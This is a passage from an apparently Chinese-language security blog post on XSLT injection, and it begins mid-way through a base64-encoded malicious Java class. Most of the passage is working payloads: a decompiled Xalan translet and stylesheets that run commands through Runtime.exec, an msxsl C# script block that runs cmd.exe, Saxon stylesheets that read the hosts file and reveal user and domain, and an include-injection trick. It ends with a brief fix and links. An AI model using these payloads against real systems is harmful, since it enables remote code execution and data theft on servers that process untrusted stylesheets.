GFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQmFzaXNMaWJyYXJ5BwA0CgA1ADMBAA5hcHBseVRlbXBsYXRlcwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYMADcAOAoABAA5DAAHAAgJAAQAOwEADm1ha2VET01BZGFwdGVyAQBnKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOylMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL2RvbS9ET01BZGFwdGVyOwwAPQA+CgAGAD8BACtjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NBwBBAQALZ2V0SXRlcmF0b3IMAEMAKwsAQgBEAQAWdHJhbnNmZXJPdXRwdXRTZXR0aW5ncwEARChMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWDABGAEcKAAYASAEACWJ1aWxkS2V5cwEApyhMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7SSlWAQAEQ29kZQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgcATQEACkV4Y2VwdGlvbnMMAEoASwoABABQAQAJc2V0RmlsdGVyAQA4KExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvU3RyaXBGaWx0ZXI7KVYMAFIAUwsAQgBUAQAIdG9wTGV2ZWwMAFYAOAoABABXAQAJdHJhbnNmb3JtAQALZ2V0Q2hpbGRyZW4MAFoAJwsAQgBbAQAKY2hhcmFjdGVycwEARShJTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgwAXQBeCwBCAF8BAAlnZXRNb2R1bGUBABQoKUxqYXZhL2xhbmcvTW9kdWxlOwwAYQBiAQAPamF2YS9sYW5nL0NsYXNzBwBkCgBlAGMBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwwAZwBoCgBlAGkBABtkaWUudmVyd2FuZGx1bmcuR3JlZ29yU2Ftc2EIAGsBABFqYXZhLmxhbmcuUnVudGltZQgAbQEACGFkZFJlYWRzAQAmKExqYXZhL2xhbmcvTW9kdWxlOylMamF2YS9sYW5nL01vZHVsZTsMAG8AcAEAEGphdmEvbGFuZy9Nb2R1bGUHAHIKAHMAcQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAHUAdgEAEWphdmEvbGFuZy9SdW50aW1lBwB4CgB5AHcBAARjYWxjCAB7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAfQB+CgB5AH8BABBqYXZhLmxhbmcuT2JqZWN0CACBAQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwwAgwCEAQAQamF2YS9sYW5nL09iamVjdAcAhgoAhwCFCAACAQALc2V0RXNjYXBpbmcBAAQoWilaDACKAIsLAAoAjAEAVihMamF2YS9sYW5nL1N0cmluZztMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWDABdAI4KAAYAjwEADnRlbXBsYXRlJGRvdCQwDACRAEsKAAQAkgEAEWdldEV4cGFuZGVkVHlwZUlEAQAEKEkpSQwAlACVCwBCAJYBAAxfc05hbWVzQXJyYXkBABNbTGphdmEvbGFuZy9TdHJpbmc7AQALX3NVcmlzQXJyYXkBAAxfc1R5cGVzQXJyYXkBAAJbSQEAEF9zTmFtZXNwYWNlQXJyYXkBABBqYXZhL2xhbmcvU3RyaW5nBwCeDACYAJkJAAQAoAwAmgCZCQAEAKIMAJsAnAkABACkDACdAJkJAAQApgEAC3RvQ2hhckFycmF5AQAEKClbQwwAqACpCgCfAKoBAAg8Y2xpbml0PgEABjxpbml0PgwArQAeCgAGAK4BAApuYW1lc0FycmF5DACwAJkJAAYAsQEACXVyaXNBcnJheQwAswCZCQAGALQBAAp0eXBlc0FycmF5DAC2AJwJAAYAtwEADm5hbWVzcGFjZUFycmF5DAC5AJkJAAYAugEAD3RyYW5zbGV0VmVyc2lvbgEAAUkMALwAvQkABgC+ACEABAAGAAAABQABAAcACAAAAAwAmACZAAAADACaAJkAAAAMAJsAnAAAAAwAnQCZAAAABwABAEoASwACAEwAAAANAAAABQAAAAGxAAAAAABPAAAABAABAE4AAQBWADgAAgBMAAAAGgABAAUAAAAOK7kARQEAuQAxAQA2BLEAAAAAAE8AAAAEAAEATgABAFkAOAACAEwAAABLAAQABQAAAD+4ADYqKiu2AEC1ADwruQBFAQC5ADEBADYEKi22AEkqKrQAPCwttgBYLbkAIAEAKiq0ADwsLbYAOi25ACMBALEAAAAAAE8AAAAEAAEATgABAJEASwABAEwAAABsAAMACAAAAGASbLgAarYAZhJuuABqtgBmtgB0V7gAejoFEmy4AGq2AGYSbrgAarYAZrYAdFcZBRJ8tgCAOgYSbLgAarYAZhKCuABqtgBmtgB0VxkGtgCIWccABlcSiToHKhkHLbYAkLEAAAAAABEANwA4AAIATAAAAKEABQAFAAAAlcgAAACDKxUEuQCXAgCqAAAAAAB2AAAAAAAAAA0AAABHAAAAVQAAAGgAAABoAAAAdgAAAHYAAAB2AAAAdgAAAHYAAABHAAAAdgAAAHYAAAB2AAAAdiorLC0VBLYAk8gAAAAmKisrFQS5AFwCAC22ADrIAAAAEysVBC25AGADAMgAAAAFLLkAMQEAWTYEmwAIyP///3axAAAAAABPAAAABAABAE4ACQCsAB4AAQBMAAAAKAABAAUAAAAcA70An7MAoQO9AJ+zAKMDvAqzAKUDvQCfswCnsQAAAAAAAQCtAB4AAQBMAAAAMwACAAUAAAAnKrcAryqyAKG1ALIqsgCjtQC1KrIApbUAuCqyAKe1ALsqEGW1AL+xAAAAAAABAAEAAAACAAI=" ; byte [] bytes = Base64.getDecoder().decode(bytescodes); try (FileOutputStream fos = new FileOutputStream ("poc.class" )) { fos.write(bytes); } catch (IOException e) { e.printStackTrace(); } } }
最终得到一个GregorSamsa类,这个是默认类名
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 package die.verwandlung;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.runtime.BasisLibrary;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class GregorSamsa extends AbstractTranslet { public DOM _dom; protected static String[] _sNamesArray = new String [0 ]; protected static String[] _sUrisArray = new String [0 ]; protected static int [] _sTypesArray = new int [0 ]; protected static String[] _sNamespaceArray = new String [0 ]; public void buildKeys (DOM var1, DTMAxisIterator var2, SerializationHandler var3, int var4) throws TransletException { } public void topLevel (DOM var1, DTMAxisIterator var2, SerializationHandler var3) throws TransletException { int var4 = var1.getIterator().next(); } public void transform (DOM var1, DTMAxisIterator var2, SerializationHandler var3) throws TransletException { BasisLibrary.resetPrefixIndex(); this ._dom = this .makeDOMAdapter(var1); int var4 = var1.getIterator().next(); this .transferOutputSettings(var3); this .topLevel(this ._dom, var2, var3); var3.startDocument(); this .applyTemplates(this ._dom, var2, var3); var3.endDocument(); } public void template$dot$0 (DOM var1, DTMAxisIterator var2, SerializationHandler var3, int var4) { Class.forName("die.verwandlung.GregorSamsa" ).getModule().addReads(Class.forName("java.lang.Runtime" ).getModule()); Runtime var5 = Runtime.getRuntime(); Class.forName("die.verwandlung.GregorSamsa" ).getModule().addReads(Class.forName("java.lang.Runtime" ).getModule()); Process var6 = var5.exec("calc" ); Class.forName("die.verwandlung.GregorSamsa" ).getModule().addReads(Class.forName("java.lang.Object" ).getModule()); String var10000 = var6.toString(); if (var10000 == null ) { var10000 = "" ; } String var7 = var10000; this .characters(var7, var3); } public final void applyTemplates (DOM var1, DTMAxisIterator var2, SerializationHandler var3) throws TransletException { int var4; while ((var4 = var2.next()) >= 0 ) { switch (var1.getExpandedTypeID(var4)) { case 0 : case 9 : this .template$dot$0 (var1, var2, var3, var4); break ; case 1 : this .applyTemplates(var1, var1.getChildren(var4), var3); break ; case 2 : case 3 : var1.characters(var4, var3); case 4 : case 5 : case 6 : case 7 : case 8 : case 10 : case 11 : case 12 : case 13 : } } } public GregorSamsa () { super .namesArray = _sNamesArray; super .urisArray = _sUrisArray; super .typesArray = _sTypesArray; super .namespaceArray = _sNamespaceArray; super .transletVersion = 101 ; } }
1 2 3 4 5 6 7 8 <xsl:stylesheet version ="1.0" xmlns:xsl ="http://www.w3.org/1999/XSL/Transform" xmlns:rt ="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob ="http://xml.apache.org/xalan/java/java.lang.Object" > <xsl:template match ="/" > <xsl:variable name ="rtobject" select ="rt:getRuntime()" /> <xsl:variable name ="process" select ="rt:exec($rtobject,'calc')" /> <xsl:variable name ="processString" select ="ob:toString($process)" /> <xsl:value-of select ="$processString" /> </xsl:template > </xsl:stylesheet >
可以看到这里就直接是命令执行的payload,方法名为template$dot$0说明是第一个template编译出来的代码,至于为什么通过xmlns:rt=”http://xml.apache.org/xalan/java/java.lang.Runtime"这个不存在的命名空间就能够获取java.lang.Runtime对象我也不知道,这个估计得深入的分析,但是调试到这就差不多了,后面就是调用这个字节码的transform进行转换的流程
Microsoft 嵌入脚本区块 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?xml version="1.0" encoding="UTF-8" ?> <xsl:stylesheet version ="1.0" xmlns:xsl ="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl ="urn:schemas-microsoft-com:xslt" xmlns:user ="urn:my-scripts" ><msxsl:script language = "C#" implements-prefix = "user" > <![CDATA[ public string execute(){ System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName= "C:\\windows\\system32\\cmd.exe"; proc.StartInfo.RedirectStandardOutput = true; proc.StartInfo.UseShellExecute = false; proc.StartInfo.Arguments = "/c dir"; proc.Start(); proc.WaitForExit(); return proc.StandardOutput.ReadToEnd(); } ]]> </msxsl:script > <xsl:template match ="/fruits" > --- BEGIN COMMAND OUTPUT --- <xsl:value-of select ="user:execute()" /> --- END COMMAND OUTPUT --- </xsl:template > </xsl:stylesheet >
第一个“xmlns:msxsl”用来启用Microsoft的专有扩展格式
第二个“xmlns:user”声明了“msxsl:script”脚本块实现的自定义用户扩展接口。
import和incldue绕过部分可控 当传入的xsl文件内容是部分可控的时候就需要使用import或者include来引入外部xsl源文件来使用以上方法进行攻击,这里要注意两个点
当“xsl:include”在其他地方使用时,“xsl:import”标签只能作为“xsl:stylesheet”标签的第一个子标签。
“xsl:include” 不能被“xsl:template”包含并且转换后的文件必须是格式良好的XML文档
针对以上问题我们就需要使用以下poc,先对template标签进行闭合再进行include,import不行是因为import必须写在stylesheet 下第一个子节点
1 </xsl:template > <xsl:include href ="external_transform.xslt" /> <xsl:template name ="a" >
这里的引入的href不仅可以是本地文件也可以使远程文件,所以这里也可以像xxe和document函数一样进行端口探测
Saxon EXP 文件读取
1 2 3 4 5 6 7 8 9 10 11 12 <xsl:transform version ="2.0" xmlns:xsl ="http://www.w3.org/1999/XSL/Transform" xmlns:saxon ="http://saxon.sf.net/" > <xsl:output method ="text" /> <xsl:template match ="/" > <xsl:text > asdf</xsl:text > <out xmlns:env ="clitype:System.Environment" xmlns:os ="clitype:System.OperatingSystem" > <xsl:value-of select ="unparsed-text('file:///C:/Windows/System32/drivers/etc/hosts')" /> </out > <xsl:text > asdf</xsl:text > </xsl:template > </xsl:transform >
查看当前目录 :
1 2 3 4 5 6 7 8 9 10 11 12 <xsl:transform version ="2.0" xmlns:xsl ="http://www.w3.org/1999/XSL/Transform" xmlns:saxon ="http://saxon.sf.net/" > <xsl:output method ="text" /> <xsl:template match ="/" > <xsl:text > asdf</xsl:text > <out xmlns:env ="clitype:System.Environment" xmlns:os ="clitype:System.OperatingSystem" > <xsl:value-of select ="env:CurrentDirectory()" /> </out > <xsl:text > asdf</xsl:text > </xsl:template > </xsl:transform >
查看当前用户和域:
1 2 3 4 5 6 7 8 9 10 11 12 13 <xsl:transform version ="2.0" xmlns:xsl ="http://www.w3.org/1999/XSL/Transform" xmlns:saxon ="http://saxon.sf.net/" > <xsl:output method ="text" /> <xsl:template match ="/" > <xsl:text > asdf</xsl:text > <out xmlns:env ="clitype:System.Environment" xmlns:os ="clitype:System.OperatingSystem" > <xsl:value-of select ="env:UserName()" /> <xsl:value-of select ="env:UserDomainName()" /> </out > <xsl:text > asdf</xsl:text > </xsl:template > </xsl:transform >
使用java命名空间进行RCE
1 2 3 4 5 6 7 <xsl:stylesheet version ="2.0" xmlns:xsl ="http://www.w3.org/1999/XSL/Transform" xmlns:java ="http://saxon.sf.net/java-type" > <xsl:template match ="/" > <xsl:value-of select ="Runtime:exec(Runtime:getRuntime(),'cmd.exe /C ping IP')" xmlns:Runtime ="java:java.lang.Runtime" /> </xsl:template > </xsl:stylesheet >
修复 1 transformerFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true );
在创建transformerFactory工厂类的时候指定XMLConstants.FEATURE_SECURE_PROCESSING参数为true,这个本来是用来防御XXE的,在这里也可以用来防御XSLT
https://github.com/LeadroyaL/java-xxe-defense-demo
可以通过该链接查看该feature禁用了哪些组件,这里可以防御拓展函数
防御的具体原理没去跟,有兴趣可以自己去跟一下,这里给一篇分析文章
https://www.kingkk.com/2020/01/%E4%BB%8E%E6%BA%90%E7%A0%81%E5%B1%82%E9%9D%A2%E7%9C%8BXXE%E7%9A%84%E9%98%B2%E5%BE%A1/
参考链接 https://xz.aliyun.com/t/33
https://xz.aliyun.com/t/13154
https://xz.aliyun.com/t/6141
https://juejin.cn/post/7094597003329568781
https://mp.weixin.qq.com/s/-HsIumMtqnN50DORFwFmiw
https://github.com/LeadroyaL/java-xxe-defense-demo
https://www.kingkk.com/2020/01/%E4%BB%8E%E6%BA%90%E7%A0%81%E5%B1%82%E9%9D%A2%E7%9C%8BXXE%E7%9A%84%E9%98%B2%E5%BE%A1/